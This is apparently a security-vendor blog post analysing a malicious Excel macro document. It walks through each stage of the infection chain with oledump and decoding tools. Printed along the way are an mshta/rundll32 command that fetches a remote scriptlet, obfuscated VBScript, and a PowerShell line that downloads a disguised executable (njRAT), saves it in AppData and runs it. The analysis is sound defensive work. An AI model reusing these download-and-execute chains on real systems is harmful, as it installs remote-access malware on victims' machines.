Skip to main content

Field Notes: Multistage Maldoc Delivers Executable Masked as JPG

Posted on 2019-11-13 by Josiah Smith

Our "Field Notes" blog series provides interested readers with a quick analysis of interesting samples that the InQuest Labs team encounters in-the-wild or harvested via the InQuest Labs Platform. Readers are encouraged to utilize this open data portal for discovery of new samples which are available for search and download.

In this blog, we run through a quick dissection of a document that had low AV detection at the time of ingestion but was deemed malicious with high confidence through InQuest Deep File Inspection (DFI). Readers are welcome to download the sample from InQuest Labs to follow along or read the report.

First, we take notice via the below file command that we're dealing with a Microsoft Office document in OLE/CDF format, these are pre 2007, after which Microsoft switched to the zipped/OOXML standard:

$ file 019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5
019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5: Composite Document File V2 Document, Cannot read section info

We can use Didier's oledump to list the OLE streams that are found within the file. The letter M next to stream 3, 4, 5 and 12 indicate that the streams contains VBA macros.

$ oledump.py 019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5
  1:       606 'PROJECT'
  2:       146 'PROJECTwm'
  3: M     819 'VBA/Module1'
  4: m     977 'VBA/Sheet1'
  5: M    4658 'VBA/ThisWorkbook'
  6:      5010 'VBA/_VBA_PROJECT'
  7:      2020 'VBA/__SRP_0'
  8:       114 'VBA/__SRP_1'
  9:       616 'VBA/__SRP_2'
 10:       498 'VBA/__SRP_3'
 11:       909 'VBA/dir'
 12: m    1172 'VBA/ththxrthgfbghntydhn'
 13:        97 'ththxrthgfbghntydhn/\x01CompObj'
 14:       453 'ththxrthgfbghntydhn/\x03VBFrame'
 15:       226 'ththxrthgfbghntydhn/f'
 16:        16 'ththxrthgfbghntydhn/o'

The source code of VBA macros are compressed when stored inside a stream. Use option -v to decompress the VBA macros in stream 5 as indicated by the 'M' marker. we grep for the Shell() pivot that we know is there from examination:

$ oledump.py 019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5 -s5 -v | grep Shell
Call Shell(ththxrthgfbghntydhn.bgtggrhbxrthbx.Tag)

It looks as though the contents for .Tag are in stream 14 (note we defanged the URL for your safety):

$ oledump.py 019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5 -s14 -d
VERSION 5.00
Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} ththxrthgfbghntydhn
   Caption         =   "UserForm1"
   ClientHeight    =   3015
   ClientLeft      =   120
   ClientTop       =   465
   ClientWidth     =   4560
   StartUpPosition =   1  'CenterOwner
   Tag             =   "rUNDlL32.eXe  SHELL32.DLL,ShellExec_RunDLL mSHta.Exe  VbsCripT:CLOSe    (geTObJEct      (""SCRipT:https://jplymell[.]com/serb.xml"")    )"
   TypeInfoVer     =   4
End

Here we have a pivot through mshta to this serb.xml file being served on a remote website. Using the curl command below, we are able to acquire and inspect that file:

$ curl --silent https://jplymell[.]com/serb.xml | tee serb.xml
<?xml version="1.0"?>
<package>
<component id="IKUEilIKUfcKKtrOXCqGnrgUAGvMgJMCF39533022642">
<script language="VBScriPt.EncodE">
<![CDATA[
#@~^gwkAAA==9b:7(\"Z/i)i9ksd[7C[7=d?Od(\I;d7'iZ"+CY36(Lnm:7`iZ4.q`[uXF#~[,/4DcLCF&#,[,/tMc[_vfb,[P;4Dv[CF+bPLP;t.`'uW,bPL~Z4Dc'_*!b~LP/tM    v[ulc*P[,Z4.v[u A#~',ZtMc[_*&*~'P;tMc[uR#~[,/tM`'u+*#~',Z4Dv'_v/*PLPZ4Dqc[_v/#i#7liN7uNi'dr~7P,nK3DduAVsRAa+,P~~,PO3aid7di8IwCk?,PP,O      GniP~PiO        7iddiqdiPP n^didid(b)BzbVb;}bxb/)zmh$ozC}bd}~f)V%z4o~jz!jz4LAZb)VzZpzLb;!b9L$AzZzb/p)BzbVb;}bxb/)z|b)LzbVb;}z9)z3zZpzoz/cz|)b   b!*z}pzUb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bz|hzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bbxA$&zZ1b(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bMb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)UzZTb(AAbb!Gz9h)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZkb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ^b"}zx);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)bnAbTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bz9h~Lzopz9AbTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzbFp)LzbVb;}bTb/)z4o$szs}bdL~()Vjzpo~Lz!hzl}Awb3*z.bzBb;bb&))ozZzb/p)2zZ*b\)Ahbu^z4o$dz20b5}~2)_Hz.b~?z33zKLA_b/LzqbzLb;bb&))ozb0bu?$GzC}b9)ASbu\zro)-zZ0bmL~h)Vhz+p~Yz!jz4)Akb/*z5h~-bV!bdA$YzMAbCp$dzZ0b1AADb!3zmo$TzM3b1)~h);czlo~hz!mzCjbxb/)zZpzBbz3b;})ozZ0b(b)LzZ)b&)bTb/)zSp$szM*b&)z9)z3zmh~jzoqz?}A!b!^zZpzBbz3b&))YzCzb}p$Tz2Lb;}bxb/)zqb)BzATox)~V)VczNozvz32zj)ASb3}z5p~ibV2bo)$KzM`bep$zzM\bm)Ajb3VzSo$szCLb\}zN(z3zqbzoz/bzq)bxb9dzqbzBbz3b;})9zM0bPo$ zM0bUAA^b/Tz}p$*zs)b`L~V)_Hzmh~9z!%zKLbxb)VzZpzBb~!ox)$VzMWb#o)z23b1)A5b3}z5p$Tz23bo)~K)Vjz5p~Xz!Hzl)Ajb3VzSo~sb_ob\})N&b{'7P~Ei)747]ZkR.;gdmu]i`7&W7*d'i47IZkRpwm19+ \r.Kx:AHYkYIbH!/vd;t.c'_ X#,'P;t.cLCcfb,[~Z4.v[u+s*P[,Z4.`LCf*P'~;tDv'CF&#,'~Z4Dv[uGTb,[~Z4.v[ul#P'~;t.v'_cf*PLPZ4Dqc[_ X#i#7'imC"7`i&cib7[iZ_D7`7fWdbdL7Z4D       cLC ob,[~Z4.q`'_v2#PLP;4Dv[u Z#7'iN7uNi[d14.dvd2c7#7Si!7)ij2Dd8-"Z/7xi1GY4(go5JYCAA==^#~@
]]>
</script>
<body>
</body>
</component>
</package>

Looks as though "serb.xml" is an encoded VBE, we can use Didier Stevens's decode-vbe.py to decode it.

Further reading: here is a great article discussing Microsoft script encoding

$ decode-vbe.py serb.xml
Dim     bvRCs   :       Dim     dWvHd   :       Set     bvRCs   =       CReatEObjecT    (       ChrW(&H57) & Chr(&H73) & ChrW(&H63) & Chr(&H72) & Chr(&H49) & Chr(&H50) & ChrW(&H54) & ChrW(&H2E) & Chr(&H53) & ChrW(&H68) & Chr(&H65) & Chr(&H6C) & ChrW(&H6C) )       :       dWvHd   =       "         PoWErsHEll.Exe      -Ex                                       bYpasS    -noP          -W                      1  -ec                                  IAAJAAkACQAJACAAcwBFAHQALQBDAG8AbgBUAGUAbgB0AAkACQAgAC0AdgBBACAACQAJAAkACQAJACAAKAAgAAkACQAJAAkACQAgAC4AKAAnAG4AZQAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwB3ACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnAC0AbwBiAGoAJwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACcARQAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwBjAFQAJwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgAAkACQAgACAAbgBlAFQALgBXAGUAQgBjAGwAaQBFAE4AVAAJACAAIAAgACAACQApAC4AZABPAHcAbgBsAE8AQQBEAHMAVABSAEkATgBHACgAIAAgACAAIAAgAAkAHSBoAHQAdABwAHMAOgAvAC8AagBwAGwAeQBtAGUAbABsAC4AYwBvAG0ALwBtAGEAaQBsAC8AcwBtAGEAcgB0AGEAcABwAC4AagBwAGcAHSAJACAACQAJAAkACQAgACkAIAAgACAAIAAgACAALQBlAG4AIAAJAAkAcwBUAFIASQBuAGcACQAJAAkAIAAtAHAAQQB0AEgACQAJACAAIAAJAB0gJABlAG4AdgA6AEEAUABwAEQAYQBUAGEAXABTAGUAYQByAGMAaABVAEkALgBlAHgAZQAdIAkAIAAgACAAIAAJADsAIAAJAAkACQAJAGkATgBWAG8ASwBlAC0AZQB4AFAAUgBlAHMAcwBJAG8ATgAJAAkACQAJAB0gJABlAG4AVgA6AEEAcABQAEQAYQB0AEEAXABTAGUAYQByAGMAaABVAEkALgBlAHgAZQAdIA==          "     :       bvRCs.ruN       cHR     (       34      )       &       bvRCs.eXpaNDenvironmENtstRiNGs( ChrW(&H25) & Chr(&H43) & Chr(&H6F) & Chr(&H6D) & Chr(&H73) & Chr(&H70) & ChrW(&H65) & ChrW(&H43) & ChrW(&H25)   )       &       cHR     (       34      )       &       CHr     (       34      )       &       ChrW(&H2F) & ChrW(&H63) & Chr(&H20)     &       dWvHd&chr       (       34      )       ,       0       :       SEt     bvRCs   =       NothINg

The output has some base64 encoding and obfuscation techniques there. Didier For The Win with another great decoding tool called base64dump. base64dump is a program that extracts and decodes base64 strings (or other encodings) found inside the provided file. (URLs defanged again):

$ decode-vbe.py serb.xml | base64dump.py -n50 -s1 -d
                                 sEt-ConTent             -vA                                     (                                       .('ne'                                                                +                                'w'                                                                +                                '-obj'                                                                +                                'E'                                                                +                                'cT'                                )              neT.WeBcliENT         ).dOwnlOADsTRING(        https://jplymell[.]com/mail/smartapp.jpg                                        )      -en             sTRIng                   -pAtH                   $env:APpDaTa\SearchUI.exe              ;                               iNVoKe-exPRessIoN                                $enV:ApPDatA\SearchUI.exe

The output shows that this "smartapp.jpg" is going to be downloaded and saved as "searchui.exe"

Lets go ahead and pull down that bad boy:

$ curl --silent https://jplymell[.]com/mail/smartapp.jpg > smartapp.jpg

And confirm that it is an executable with the file command:

$ file smartapp.jpg
smartapp.jpg: PE32 executable (GUI) Intel 80386, for MS Windows

Generating the SHA-256 proves that it is well known by the AV industry:

$ sha256sum smartapp.jpg
f3f76276073ea2e85456e84bba247828a8bae44dcfa377ad78524e3354a5fb5a  smartapp.jpg

The executable was then submitted to a couple different sandboxes to gauge their consensus and showcase the usefulness of the tools. VMRay Analyzer, JOESandbox, and ANY.RUN had similar findings. The executable was identified as njRAT. Review the respective report from ANY.RUN

ANY.RUN is an interactive online-sandbox that provides a wealth of information. The process graph here shows the sequence of events that preclude the firewall exemption.


JoeSandbox provides a detailed report and here are some illustrations showing the GeoIP, behavior graph, and classification of the sample.

GeoIP Behavior Graph Classification

Last but not least, VMRay Analyzer quickly deems the sample as malicious. The simplicity of the Mitre ATT&CK™ Framework is easily conveyed to the reader.

We hope you enjoyed these notes and be sure to check out InQuest Labs. If you have any interest in obtaining an API Key for your fun or profit, Contact us directly via labs@inquest.net.

deep-file-inspection field-notes